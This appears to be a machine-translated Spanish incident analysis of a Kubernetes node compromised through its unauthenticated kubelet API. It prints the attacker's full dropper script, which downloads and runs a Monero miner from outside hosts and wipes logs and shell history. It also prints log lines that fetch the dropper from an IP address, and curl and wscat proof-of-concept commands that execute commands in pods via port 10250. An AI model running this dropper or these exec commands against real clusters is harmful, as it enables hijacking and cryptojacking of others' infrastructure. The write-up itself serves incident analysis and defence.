Análisis de pirateo de Kubernetes - puerta trasera a través de kubelet


Para no saber nada sobre Kubernetes, uno tuvo que vivir en una cueva durante los últimos tres años. La infraestructura de desarrollo de Handy, CI / CD y la producción se basan en el ecosistema de múltiples clústeres de Kubernetes. Podemos decir que somos fanáticos de Kubernetes en Handy, por eso nos sorprendió tanto cuando el grupo privado de Kubernetes de nuestro colega fue pirateado el pasado fin de semana.


Se sorprendieron, y se alegraron, porque descubrieron en Kubernetes una falla poco conocida. En este artículo, veremos cómo se hackeó el clúster de un colega y cómo confirmamos nuestros hallazgos al recrear este ataque en nuestro propio clúster. El ataque se probó en Kubernetes 1.9, pero puede funcionar en clústeres más antiguos.


DESCARGO DE RESPONSABILIDAD : Este artículo trata sobre el servidor personal de nuestro colega. Infraestructura Handy Technologies no se ha visto comprometida.


Hackear


El clúster defectuoso era el único nodo de implementación de Kubernetes que se ejecutaba sobre Alpine Linux. El primer indicador de piratería fue un proceso sospechoso que funcionaba como un proceso secundario del demonio docker:


/tmp/udevs -o stratum+tcp://pool.zer0day.ru:8080 -u NewWorld -p NewWorld --safe -B 

La curvatura del punto final devuelve el siguiente texto:


 Mining Proxy Online 

Parece que alguien ha encontrado una manera de poner el software de cripto-minería en un contenedor que funciona y comenzar el proceso.


Al buscar el archivo udevs en el directorio de superposición de docker para el contenedor (/ var / lib / docker / overlay2 / b5a8a22f1e41b3b1ce504a6c941fb2805c28a454f75e2831c3a38d4d35388bd7) , se descargó un script de cuentagotas con el nombre "kube.lock" .


 #!/bin/bash yum install wget -y apt-get install wget -y PS2=$(ps aux | grep udevs | grep -v "grep" | wc -l) if [ $PS2 -eq 0 ]; then rm -rf /tmp/udevs* wget https://transfer.sh/JyRqn/nodepadxx --no-check-certificate -O /tmp/udevs fi if [[ $? -ne 0 && $PS2 -eq 0 ]]; then curl -sk https://transfer.sh/JyRqn/nodepadxx -o /tmp/udevs fi chmod +x /tmp/udevs chmod 777 /tmp/udevs if [ $PS2 -eq 0 ]; then /tmp/udevs -o stratum+tcp://pool.zer0day.ru:8080 -u NewWorld -p NewWorld --safe -B fi if [[ $? -ne 0 && $PS2 -eq 0 ]]; then echo $? wget https://transfer.sh/9uRre/glibc-2.14.tar.gz --no-check-certificate -O /tmp/glibc-2.14.tar.gz && tar zxvf /tmp/glibc-2.14.tar.gz -C /tmp/ && export LD_LIBRARY_PATH=/tmp/opt/glibc-2.14/lib:$LD_LIBRARY_PATH && /tmp/udevs -o stratum+tcp://pool.zer0day.ru:8080 -u NewWorld -p NewWorld --safe -B && echo "" > /var/log/wtmp && echo "" > /var/log/secure && history -c fi 

Además, la firma MD5 (a4404be67a41f144ea86a7838f357c26) para el programa / tmp / udevs en VirusTotal se define como un probable Monero Miner:



Entonces, sabemos que el cracker de alguna manera colocó el script kube.lock en el contenedor y lo ejecutó. Pero como?


El acceso público para el servidor de la API de Kubernetes estaba abierto, pero protegido por autenticación de certificado. En primer lugar, asumimos un ataque a la cadena de suministro de una de las imágenes que trabajan en el clúster. Sin embargo, después de estudiar los registros de kubelet, notamos algo:


 /var/log/kubernetes/kubelet.log:E0311 12:38:30.400289 2991 remote_runtime.go:332] ExecSync 95bd5c4a43003517c0077fbad285070fb3c5a94ff5d5c82e02c1d074635d1829 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing /var/log/kubernetes/kubelet.log:E0311 12:38:30.400974 2991 remote_runtime.go:332] ExecSync 916f8bff4edb547a3e3de184968bb651717883e8b3856e76d0ebc95ecbeb3a3d 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing ' de tiempo de ejecución /var/log/kubernetes/kubelet.log:E0311 12:38:30.400289 2991 remote_runtime.go:332] ExecSync 95bd5c4a43003517c0077fbad285070fb3c5a94ff5d5c82e02c1d074635d1829 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing /var/log/kubernetes/kubelet.log:E0311 12:38:30.400974 2991 remote_runtime.go:332] ExecSync 916f8bff4edb547a3e3de184968bb651717883e8b3856e76d0ebc95ecbeb3a3d 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing 

Parece que el cracker fue de alguna manera exec exec en kubelet. Google en la solicitud "autenticación Kubelet" emitió el texto de la documentación de Kubernetes:


De manera predeterminada, las solicitudes al punto final de HTTPS kubelet que no son rechazadas por otros métodos de autenticación configurados se tratan como solicitudes anónimas con el sistema de nombres de usuario : anónimo y el sistema de grupo : sin autenticar .

Autenticación / autorización de Kubelet


Si no se especifican indicadores en Kubelet, se usa de manera predeterminada el modo de aceptar solicitudes de API que no pasan la autenticación. Tenga en cuenta que para que el enlace maestro -> nodo funcione, el servidor API de Kubernetes debe intercambiar información con kubelet en los nodos.


Al final resultó que, el servidor de nuestro colega también expuso públicamente los puertos kubelet (tcp 10250, tcp 10255). Aunque el error es obvio, sería bueno comprobar cómo se implementa su propio Kubernetes.


Si los usuarios tienen acceso a los nodos, la API de Kubelet es una puerta trasera completamente funcional para el clúster que no ha pasado la autenticación de la API.


Por lo tanto, si tiene problemas para activar la autenticación y la autorización (webhook, RBAC, etc.), asegúrese de que kubelet esté protegido.


Hay serias preguntas sobre la seguridad de las comunicaciones de Kubelet, y este problema merece más atención.


Prueba de concepto


Para enviar comandos directamente a kubelet, debe usar la API como se describe aquí:



Kubelet escucha en dos puertos: 10255 y 10250. El primero es un puerto HTTP de solo lectura, y el segundo es un puerto HTTPS que puede hacer cualquier cosa.


Seleccione cualquier nodo en el clúster e intente enumerar los pods:


 curl --insecure https://kube-node-here:10250/pods | jq 

La ruta para exec , que no está documentada en la página de kubelet, es similar a la ruta del servidor API, pero requiere dos solicitudes: una POST inicial y una GET posterior con un cliente que admita SPDY (o un cliente websocket, que también es compatible).


Ejecute el comando en un contenedor en ejecución a través de kubelet.


Localice el que se ejecuta en el nodo al que desea apuntar en la solicitud anterior. Ejecute la siguiente consulta con curl:


 curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://kube-node-here:10250/exec/<namespace>/<podname>/<container-name>?command=touch&command=hello_world&input=1&output=1&tty=1" 

Esto debería devolver una respuesta con el código 302, que redirige a la secuencia:


 < HTTP/2 302 < location: /cri/exec/PfWkLulG < content-type: text/plain; charset=utf-8 < content-length: 0 < date: Tue, 13 Mar 2018 19:21:00 GMT 

Use wscat para iniciar la transmisión:


 wscat -c "https://kube-node-here:10250/cri/exec/PfWkLulG" --no-check connected (press CTRL+C to quit) < < disconnected 

Como acabamos de touch hello_world , crea el archivo y se desconecta. Si desea ejecutar un comando con salida, verá el resultado después de ejecutar el comando anterior.


Conclusión


Aunque este comportamiento es consistente con la documentación, muchos no saben que sin la configuración adecuada, obtienen un agujero de seguridad en el entorno multiusuario de Kubernetes.


Hemos cubierto uno de los problemas de seguridad en Kubernetes. Comentario!


Parche del 14 de marzo de 2018


Después de un estudio profundo, parece que incluso con la autenticación de Kubelet habilitada, solo se aplica al puerto HTTPS (10250). Esto significa que el puerto HTTP de solo lectura (10255) aún permanece abierto sin ninguna característica de seguridad que no sean las ACL de red.


El puerto de lectura puede enumerar las especificaciones de hogar en la ruta /pods , lo que significa el acceso a datos confidenciales, como las variables de entorno.


Hace solo 28 días, el código fue cambiado para que un puerto inseguro fuera deshabilitado por defecto.


Original: Análisis de un hack de Kubernetes - Backdooring through kubelet

Source: https://habr.com/ru/post/es413565/


All Articles